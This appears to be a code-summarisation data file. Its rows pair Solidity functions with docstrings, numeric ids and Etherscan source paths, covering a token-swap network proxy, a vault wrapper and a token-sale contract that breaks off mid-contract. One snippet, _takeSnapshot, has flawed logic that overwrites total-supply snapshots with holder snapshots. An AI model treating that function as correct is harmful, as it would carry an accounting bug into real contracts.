function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
/// @title Network interface
interface NetworkProxyInterface {
function maxGasPrice() external view returns(uint);
function getUserCapInWei(address user) external view returns(uint);
function getUserCapInTokenWei(address user, TRC20 token) external view returns(uint);
function enabled() external view returns(bool);
function info(bytes32 id) external view returns(uint);
function getExpectedRate(TRC20 src, TRC20 dest, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
function getExpectedFeeRate(TRC20 token, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
function swap(TRC20 src, uint srcAmount, TRC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId) external payable returns(uint);
function payTxFee(TRC20 src, uint srcAmount, address destAddress, uint maxDestAmount,
uint minConversionRate) external payable returns(uint);
}
/// @title simple interface for Network
interface SimpleNetworkInterface {
function swapTokenToToken(TRC20 src, uint srcAmount, TRC20 dest, uint minConversionRate) external returns(uint);
function swapTomoToToken(TRC20 token, uint minConversionRate) external payable returns(uint);
function swapTokenToTomo(TRC20 token, uint srcAmount, uint minConversionRate) external returns(uint);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
/// @title Network proxy for main contract
contract NetworkProxy is NetworkProxyInterface, SimpleNetworkInterface, Withdrawable, Utils2 {
NetworkInterface public networkContract;
mapping(address=>bool) public payFeeCallers;
constructor(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
/// @notice use token address TOMO_TOKEN_ADDRESS for TOMO
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @return amount of actual dest tokens
function trade(
TRC20 src,
uint srcAmount,
TRC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
public
payable
returns(uint)
{
return swap(
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId
);
}
event AddPayFeeCaller(address caller, bool add);
function addPayFeeCaller(address caller, bool add) public onlyAdmin {
if (add) {
require(payFeeCallers[caller] == false);
payFeeCallers[caller] = true;
} else {
require(payFeeCallers[caller] == true);
payFeeCallers[caller] = false;
}
emit AddPayFeeCaller(caller, add);
}
/// @notice use token address TOMO_TOKEN_ADDRESS for TOMO
/// @dev makes a trade for transaction fee
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function payTxFee(
TRC20 src,
uint srcAmount,
address destAddress,
uint maxDestAmount,
uint minConversionRate
)
public
payable
returns(uint)
{
require(src == TOMO_TOKEN_ADDRESS || msg.value == 0);
require(payFeeCallers[msg.sender] == true, "payTxFee: Sender is not callable this function");
TRC20 dest = TOMO_TOKEN_ADDRESS;
UserBalance memory userBalanceBefore;
userBalanceBefore.srcBalance = getBalance(src, msg.sender);
userBalanceBefore.destBalance = getBalance(dest, destAddress);
if (src == TOMO_TOKEN_ADDRESS) {
userBalanceBefore.srcBalance += msg.value;
} else {
require(src.transferFrom(msg.sender, networkContract, srcAmount), "payTxFee: Transer token to network contract");
}
uint reportedDestAmount = networkContract.payTxFee.value(msg.value)(
msg.sender,
src,
srcAmount,
destAddress,
maxDestAmount,
minConversionRate
);
TradeOutcome memory tradeOutcome = calculateTradeOutcome(
userBalanceBefore.srcBalance,
userBalanceBefore.destBalance,
src,
dest,
destAddress
);
require(reportedDestAmount == tradeOutcome.userDeltaDestAmount, "Report dest amount is different from user delta dest amount");
require(tradeOutcome.userDeltaDestAmount <= maxDestAmount, "userDetalDestAmount > maxDestAmount");
require(tradeOutcome.actualRate >= minConversionRate, "actualRate < minConversionRate");
emit ExecuteTrade(msg.sender, src, dest, tradeOutcome.userDeltaSrcAmount, tradeOutcome.userDeltaDestAmount);
return tradeOutcome.userDeltaDestAmount;
}
/// @notice use token address TOMO_TOKEN_ADDRESS for TOMO
/// @dev makes a trade for transaction fee
/// @dev auto set maxDestAmount and minConversionRate
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param destAddress Address to send tokens to
/// @return amount of actual dest tokens
function payTxFeeFast(TRC20 src, uint srcAmount, address destAddress) external payable returns(uint) {
require(payFeeCallers[msg.sender] == true);
payTxFee(
src,
srcAmount,
destAddress,
MAX_QTY,
0
);
}
/// @dev makes a trade between src and dest token and send dest tokens to msg sender
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToToken(
TRC20 src,
uint srcAmount,
TRC20 dest,
uint minConversionRate
)
public
returns(uint)
{
return swap(
src,
srcAmount,
dest,
msg.sender,
MAX_QTY,
minConversionRate,
0
);
}
/// @dev makes a trade from Tomo to token. Sends token to msg sender
/// @param token Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTomoToToken(TRC20 token, uint minConversionRate) public payable returns(uint) {
return swap(
TOMO_TOKEN_ADDRESS,
msg.value,
token,
msg.sender,
MAX_QTY,
minConversionRate,
0
);
}
/// @dev makes a trade from token to Tomo, sends Tomo to msg sender
/// @param token Src token
/// @param srcAmount amount of src tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToTomo(TRC20 token, uint srcAmount, uint minConversionRate) public returns(uint) {
return swap(
token,
srcAmount,
TOMO_TOKEN_ADDRESS,
msg.sender,
MAX_QTY,
minConversionRate,
0
);
}
struct UserBalance {
uint srcBalance;
uint destBalance;
}
event ExecuteTrade(address indexed trader, TRC20 src, TRC20 dest, uint actualSrcAmount, uint actualDestAmount);
/// @notice use token address TOMO_TOKEN_ADDRESS for tomo
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @return amount of actual dest tokens
function swap(
TRC20 src,
uint srcAmount,
TRC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
public
payable
returns(uint)
{
require(src == TOMO_TOKEN_ADDRESS || msg.value == 0);
UserBalance memory userBalanceBefore;
userBalanceBefore.srcBalance = getBalance(src, msg.sender);
userBalanceBefore.destBalance = getBalance(dest, destAddress);
if (src == TOMO_TOKEN_ADDRESS) {
userBalanceBefore.srcBalance += msg.value;
} else {
require(src.transferFrom(msg.sender, networkContract, srcAmount), "swap: Can not transfer token to contract");
}
uint reportedDestAmount = networkContract.swap.value(msg.value)(
msg.sender,
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId
);
TradeOutcome memory tradeOutcome = calculateTradeOutcome(
userBalanceBefore.srcBalance,
userBalanceBefore.destBalance,
src,
dest,
destAddress
);
require(reportedDestAmount == tradeOutcome.userDeltaDestAmount);
require(tradeOutcome.userDeltaDestAmount <= maxDestAmount);
require(tradeOutcome.actualRate >= minConversionRate);
emit ExecuteTrade(msg.sender, src, dest, tradeOutcome.userDeltaSrcAmount, tradeOutcome.userDeltaDestAmount);
return tradeOutcome.userDeltaDestAmount;
}
event NetworkSet(address newNetworkContract, address oldNetworkContract);
function setNetworkContract(NetworkInterface _networkContract) public onlyAdmin {
require(_networkContract != address(0));
emit NetworkSet(_networkContract, networkContract);
networkContract = _networkContract;
}
function getExpectedRate(TRC20 src, TRC20 dest, uint srcQty)
public view
returns(uint expectedRate, uint slippageRate)
{
return networkContract.getExpectedRate(src, dest, srcQty);
}
function getExpectedFeeRate(TRC20 token, uint srcQty)
public view
returns (uint expectedRate, uint slippageRate)
{
return networkContract.getExpectedFeeRate(token, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return networkContract.getUserCapInWei(user);
}
function getUserCapInTokenWei(address user, TRC20 token) public view returns(uint) {
return networkContract.getUserCapInTokenWei(user, token);
}
function maxGasPrice() public view returns(uint) {
return networkContract.maxGasPrice();
}
function enabled() public view returns(bool) {
return networkContract.enabled();
}
function info(bytes32 field) public view returns(uint) {
return networkContract.info(field);
}
struct TradeOutcome {
uint userDeltaSrcAmount;
uint userDeltaDestAmount;
uint actualRate;
}
function calculateTradeOutcome (uint srcBalanceBefore, uint destBalanceBefore, TRC20 src, TRC20 dest,
address destAddress)
internal returns(TradeOutcome memory outcome)
{
uint userSrcBalanceAfter;
uint userDestBalanceAfter;
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
//protect from underflow
require(userDestBalanceAfter > destBalanceBefore, "userDestBalanceAfter <= destBalanceBefore");
require(srcBalanceBefore > userSrcBalanceAfter, "srcBalanceBefore <= userSrcBalanceAfter");
outcome.userDeltaDestAmount = userDestBalanceAfter - destBalanceBefore;
outcome.userDeltaSrcAmount = srcBalanceBefore - userSrcBalanceAfter;
outcome.actualRate = calcRateFromQty(
outcome.userDeltaSrcAmount,
outcome.userDeltaDestAmount,
getDecimalsSafe(src),
getDecimalsSafe(dest)
);
}
}
|
Allows the pendingAdmin address to finalize the change admin process./
|
function claimAdmin() public {
require(pendingAdmin == msg.sender);
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
| 1,804,183 |
./full_match/11155111/0x15643fcF00285b3D2f31cb838Df02B0932c682c0/sources/ERC1410Snapshot.sol
|
`takeSnapshot` used to update the `_snapshotBalances` map and the `_snapshotTotalSupply` partition The partition from which to update the total supply pastSnapshots The history of snapshots being updated _value The new number of tokens forHolders `true` if function is called to take snapshot of balance of the token holders, `false` if for `totalSupply`/
|
function _takeSnapshot(
Snapshot[] storage pastSnapshots,
bytes32 partition,
uint256 _value,
bool forHolders
) internal {
if (
(pastSnapshots.length == 0) ||
(pastSnapshots[pastSnapshots.length.sub(1)].blockNum < block.number)
) {
pastSnapshots.push(Snapshot(block.number, _value));
pastSnapshots[pastSnapshots.length.sub(1)].value = _value;
}
if (forHolders) {
_snapshotBalances[partition][msg.sender] = pastSnapshots;
_snapshotTotalSupply[partition] = pastSnapshots;
}
}
| 3,818,747 |
./full_match/1/0x65fff8F5f6a9922b6dC13fE06345a0Fe46Dd413D/sources/contracts/VFAccessControl.sol
|
See {IVFAccessControl-getMinterRole}./
|
function getMinterRole() external view virtual returns (bytes32) {
return MINTER_ROLE;
}
| 4,972,435 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IVaultChefWrapper.sol";
import "../interfaces/IERC20Metadata.sol";
import "./VaultChefCore.sol";
/**
* @notice The VaultChef is the wrapper of the core `VaultChefCore` logic that contains all non-essential functionality.
* @notice It is isolated from the core functionality because all this functionality has no impact on the core functionality.
* @notice This separation should enable third party reviewers to more easily assess the core component of the vaultchef.
* @dev One of the main extensions is the added compatibility of the SushiSwap MasterChef interface, this is done to be compatible with third-party tools:
* @dev Allocpoints have been made binary to indicate whether a vault is paused or not (1 alloc point means active, 0 means paused).
* @dev Reward related variables are set to zero (lastRewardBlock, accTokenPerShare).
* @dev Events are emitted on the lower level for more compatibility with third-party tools.
* @dev EmergencyWithdraw event has been omitted intentionally since it is functionally identical to a normal withdrawal.
* @dev There is no concept of receipt tokens on the compatibility layer, all amounts represent underlying tokens.
*
* @dev ERC-1155 transfers have been wrapped with nonReentrant to reduce the exploit freedom. Furthermore receipt tokens cannot be sent to the VaultChef as it does not implement the receipt interface.
*
* @dev Furthermore the VaultChef implements IERC20Metadata for etherscan compatibility as it currently uses this metadata to identify ERC-1155 collection metadata.
*
* @dev Finally safeguards are added to the addVault function to only allow a strategy to be listed once.
*
* @dev For third-party reviewers: The security of this extension can be validated since no internal state is modified on the parent contract.
*/
contract VaultChef is VaultChefCore, IVaultChefWrapper {
// ERC-20 metadata for etherscan compatibility.
string private _name = "Violin Vault";
string private _symbol = "vVault";
uint8 private _decimals = 18;
/// @notice how many vaults are not paused.
uint256 private activeVaults;
uint256 private immutable _startBlock;
/// @notice mapping that returns true if the strategy is set as a vault.
mapping(IStrategy => bool) public override strategyExists;
/// @notice Utility mapping for UI to figure out the vault id of a strategy.
mapping(IStrategy => uint256) public override strategyVaultId;
event ChangeMetadata(string newName, string newSymbol, uint256 newDecimals);
constructor(address _owner) {
_startBlock = block.number;
_transferOwnership(_owner);
}
//** MASTERCHEF COMPATIBILITY **/
/// @notice Deposits `underlyingAmount` of underlying tokens in the vault at `vaultId`.
/// @dev This function is identical to depositUnderlying, duplication has been permitted to match the masterchef interface.
/// @dev Event emitted on lower level.
function deposit(uint256 vaultId, uint256 underlyingAmount)
public
virtual
override
{
depositUnderlying(vaultId, underlyingAmount, false, 0);
}
/// @notice withdraws `amount` of underlying tokens from the vault at `vaultId` to `msg.sender`.
/// @dev Event emitted on lower level.
function withdraw(uint256 vaultId, uint256 underlyingAmount)
public
virtual
override
validVault(vaultId)
{
uint256 underlyingBefore = vaults[vaultId].strategy.totalUnderlying();
require(underlyingBefore != 0, "!empty");
uint256 shares = (totalSupply(vaultId) * underlyingAmount) /
underlyingBefore;
withdrawShares(vaultId, shares, 0);
}
/// @notice withdraws the complete position of `msg.sender` to `msg.sender`.
function emergencyWithdraw(uint256 vaultId)
public
virtual
override
validVault(vaultId)
{
uint256 shares = balanceOf(msg.sender, vaultId);
withdrawShares(vaultId, shares, 0);
}
/// @notice poolInfo returns the vault information in a format compatible with the masterchef poolInfo.
/// @dev allocPoint is either 0 or 1. Zero means paused while one means active.
/// @dev _lastRewardBlock and _accTokenPerShare are zero since there is no concept of rewards in the VaultChef.
function poolInfo(uint256 vaultId)
external
view
override
validVault(vaultId)
returns (
IERC20 _lpToken,
uint256 _allocPoint,
uint256 _lastRewardBlock,
uint256 _accTokenPerShare
)
{
uint256 allocPoints = vaults[vaultId].paused ? 0 : 1;
return (vaults[vaultId].underlyingToken, allocPoints, 0, 0);
}
/// @notice Returns the total amount of underlying tokens a vault has under management.
function totalUnderlying(uint256 vaultId)
external
view
override
validVault(vaultId)
returns (uint256)
{
return vaults[vaultId].strategy.totalUnderlying();
}
/// @notice Since there is no concept of allocPoints we return the number of active vaults as allocPoints (each active vault has allocPoint 1) for MasterChef compatibility.
function totalAllocPoint() external view override returns (uint256) {
return activeVaults;
}
/// @notice Returns the number of vaults.
function poolLength() external view override returns (uint256) {
return vaults.length;
}
/// @notice the startBlock function indicates when rewards start in a masterchef, since there is no notion of rewards, it returns zero.
/// @dev This function is kept for compatibility with third-party tools.
function startBlock() external view override returns (uint256) {
return _startBlock;
}
/// @notice userInfo returns the user their stake information about a specific vault in a format compatible with the masterchef userInfo.
/// @dev amount represents the amount of underlying tokens.
/// @dev _rewardDebt is zero since there is no concept of rewards in the VaultChef.
function userInfo(uint256 vaultId, address user)
external
view
override
validVault(vaultId)
returns (uint256 _amount, uint256 _rewardDebt)
{
uint256 supply = totalSupply((vaultId));
uint256 underlyingAmount = supply == 0
? 0
: (vaults[vaultId].strategy.totalUnderlying() *
balanceOf(user, vaultId)) / supply;
return (underlyingAmount, 0);
}
/** Active vault accounting for allocpoints **/
/// @dev Add accounting for the allocPoints and also locking if the strategy already exists.
function addVault(IStrategy strategy, uint16 performanceFeeBP)
public
override
{
require(!strategyExists[strategy], "!exists");
strategyExists[strategy] = true;
strategyVaultId[strategy] = vaults.length;
activeVaults += 1;
super.addVault(strategy, performanceFeeBP);
}
/// @dev _pauseVault is overridden to add accounting for the allocPoints
/// @dev It should be noted that the first requirement is only present for auditability since it is redundant in the parent contract.
function _pauseVault(uint256 vaultId, bool paused) internal override {
require(paused != vaults[vaultId].paused, "!set");
if (paused) {
activeVaults -= 1;
} else {
activeVaults += 1;
}
super._pauseVault(vaultId, paused);
}
/** GOVERNANCE FUNCTIONS **/
/// @notice ERC-20 metadata can be updated for potential rebrands, it is included for etherscan compatibility.
function changeMetadata(
string memory newName,
string memory newSymbol,
uint8 newDecimals
) external override onlyOwner {
_name = newName;
_symbol = newSymbol;
_decimals = newDecimals;
emit ChangeMetadata(newName, newSymbol, newDecimals);
}
/// @notice Override the ERC-1155 token api metadata URI, this is needed since we want to change it to include the chain slug.
function setURI(string memory newURI) external override onlyOwner {
string memory oldURI = uri(0);
_setURI(newURI);
emit URIUpdated(oldURI, newURI);
}
/** ERC-20 METADATA COMPATIBILITY **/
/// @notice The name of the token collection.
function name() external view override returns (string memory) {
return _name;
}
/// @notice The shorthand symbol of the token collection.
function symbol() external view override returns (string memory) {
return _symbol;
}
/// @notice The amount of decimals of individual tokens.
function decimals() external view override returns (uint8) {
return _decimals;
}
/** ERC-1155 nonReentrant modification to reduce risks **/
/// @notice override safeTransferFrom with nonReentrant modifier to safeguard system properties.
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override nonReentrant {
super.safeTransferFrom(from, to, id, amount, data);
}
/// @notice override safeBatchTransferFrom with nonReentrant modifier to safeguard system properties.
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override nonReentrant {
super.safeBatchTransferFrom(from, to, ids, amounts, data);
}
}
|
Override the ERC-1155 token api metadata URI, this is needed since we want to change it to include the chain slug.
|
function setURI(string memory newURI) external override onlyOwner {
string memory oldURI = uri(0);
_setURI(newURI);
emit URIUpdated(oldURI, newURI);
}
| 5,416,044 |
/**
*Submitted for verification at Etherscan.io on 2021-04-30
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-15
*/
pragma solidity 0.5.8;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public proposedOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Has to be owner");
_;
}
function transferOwnership(address _proposedOwner) public onlyOwner {
require(msg.sender != _proposedOwner, "Has to be diff than current owner");
proposedOwner = _proposedOwner;
}
function claimOwnership() public {
require(msg.sender == proposedOwner, "Has to be the proposed owner");
emit OwnershipTransferred(owner, proposedOwner);
owner = proposedOwner;
proposedOwner = address(0);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "Has to be unpaused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused, "Has to be paused");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
address[] public whitelistedAddresses;
bool public hasWhitelisting = false;
event AddedToWhitelist(address[] indexed accounts);
event RemovedFromWhitelist(address indexed account);
modifier onlyWhitelisted() {
if(hasWhitelisting){
require(isWhitelisted(msg.sender));
}
_;
}
constructor (bool _hasWhitelisting) public{
hasWhitelisting = _hasWhitelisting;
}
function add(address[] memory _addresses) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
require(whitelist[_addresses[i]] != true);
whitelist[_addresses[i]] = true;
whitelistedAddresses.push(_addresses[i]);
}
emit AddedToWhitelist(_addresses);
}
function remove(address _address, uint256 _index) public onlyOwner {
require(_address == whitelistedAddresses[_index]);
whitelist[_address] = false;
delete whitelistedAddresses[_index];
emit RemovedFromWhitelist(_address);
}
function getWhitelistedAddresses() public view returns(address[] memory) {
return whitelistedAddresses;
}
function isWhitelisted(address _address) public view returns(bool) {
return whitelist[_address];
}
}
contract FixedSwap is Pausable, Whitelist {
using SafeMath for uint256;
uint256 increment = 0;
mapping(uint256 => Purchase) public purchases; /* Purchasers mapping */
address[] public buyers; /* Current Buyers Addresses */
uint256[] public purchaseIds; /* All purchaseIds */
mapping(address => uint256[]) public myPurchases; /* Purchasers mapping */
ERC20 public erc20;
bool public isSaleFunded = false;
uint public decimals = 0;
bool public unsoldTokensReedemed = false;
uint256 public tradeValue; /* Price in Wei */
uint256 public startDate; /* Start Date */
uint256 public endDate; /* End Date */
uint256 public individualMinimumAmount = 0; /* Minimum Amount Per Address */
uint256 public individualMaximumAmount = 0; /* Minimum Amount Per Address */
uint256 public minimumRaise = 0; /* Minimum Amount of Tokens that have to be sold */
uint256 public tokensAllocated = 0; /* Tokens Available for Allocation - Dynamic */
uint256 public tokensForSale = 0; /* Tokens Available for Sale */
bool public isTokenSwapAtomic; /* Make token release atomic or not */
/* TODO : 수수료 지갑 주소 반드시 변경할 것 */
address payable public FEE_ADDRESS = 0x41e53F7eECdABb98b5a96f8A7B0da1B8Be58429F; /* Default Address for Fee Percentage */
uint256 public feePercentage = 2; /* Default Fee 2% */
struct Purchase {
uint256 amount;
address purchaser;
uint256 ethAmount;
uint256 timestamp;
bool wasFinalized /* Confirm the tokens were sent already */;
bool reverted /* Confirm the tokens were sent already */;
}
event PurchaseEvent(uint256 amount, address indexed purchaser, uint256 timestamp);
constructor(address _tokenAddress, uint256 _tradeValue, uint256 _tokensForSale, uint256 _startDate,
uint256 _endDate, uint256 _individualMinimumAmount, uint256 _individualMaximumAmount, bool _isTokenSwapAtomic, uint256 _minimumRaise,
uint256 _feeAmount, bool _hasWhitelisting
) public Whitelist(_hasWhitelisting) {
/* Confirmations */
require(block.timestamp < _endDate, "End Date should be further than current date");
require(block.timestamp < _startDate, "Start Date should be further than current date");
require(_startDate < _endDate, "End Date higher than Start Date");
require(_tokensForSale > 0, "Tokens for Sale should be > 0");
require(_tokensForSale > _individualMinimumAmount, "Tokens for Sale should be > Individual Minimum Amount");
require(_individualMaximumAmount >= _individualMinimumAmount, "Individual Maximim AMount should be > Individual Minimum Amount");
require(_minimumRaise <= _tokensForSale, "Minimum Raise should be < Tokens For Sale");
require(_feeAmount >= feePercentage, "Fee Percentage has to be >= 2");
require(_feeAmount <= 98, "Fee Percentage has to be < 100");
startDate = _startDate;
endDate = _endDate;
tokensForSale = _tokensForSale;
tradeValue = _tradeValue;
individualMinimumAmount = _individualMinimumAmount;
individualMaximumAmount = _individualMaximumAmount;
isTokenSwapAtomic = _isTokenSwapAtomic;
if(!_isTokenSwapAtomic){ /* If raise is not atomic swap */
minimumRaise = _minimumRaise;
}
erc20 = ERC20(_tokenAddress);
decimals = erc20.decimals();
feePercentage = _feeAmount;
}
/**
* Modifier to make a function callable only when the contract has Atomic Swaps not available.
*/
modifier isNotAtomicSwap() {
require(!isTokenSwapAtomic, "Has to be non Atomic swap");
_;
}
/**
* Modifier to make a function callable only when the contract has Atomic Swaps not available.
*/
modifier isSaleFinalized() {
require(hasFinalized(), "Has to be finalized");
_;
}
/**
* Modifier to make a function callable only when the swap time is open.
*/
modifier isSaleOpen() {
require(isOpen(), "Has to be open");
_;
}
/**
* Modifier to make a function callable only when the contract has Atomic Swaps not available.
*/
modifier isSalePreStarted() {
require(isPreStart(), "Has to be pre-started");
_;
}
/**
* Modifier to make a function callable only when the contract has Atomic Swaps not available.
*/
modifier isFunded() {
require(isSaleFunded, "Has to be funded");
_;
}
/* Get Functions */
function isBuyer(uint256 purchase_id) public view returns (bool) {
return (msg.sender == purchases[purchase_id].purchaser);
}
/* Get Functions */
function totalRaiseCost() public view returns (uint256) {
return (cost(tokensForSale));
}
function availableTokens() public view returns (uint256) {
return erc20.balanceOf(address(this));
}
function tokensLeft() public view returns (uint256) {
return tokensForSale - tokensAllocated;
}
function hasMinimumRaise() public view returns (bool){
return (minimumRaise != 0);
}
/* Verify if minimum raise was not achieved */
function minimumRaiseNotAchieved() public view returns (bool){
require(cost(tokensAllocated) < cost(minimumRaise), "TotalRaise is bigger than minimum raise amount");
return true;
}
/* Verify if minimum raise was achieved */
function minimumRaiseAchieved() public view returns (bool){
if(hasMinimumRaise()){
require(cost(tokensAllocated) >= cost(minimumRaise), "TotalRaise is less than minimum raise amount");
}
return true;
}
function hasFinalized() public view returns (bool){
return block.timestamp > endDate;
}
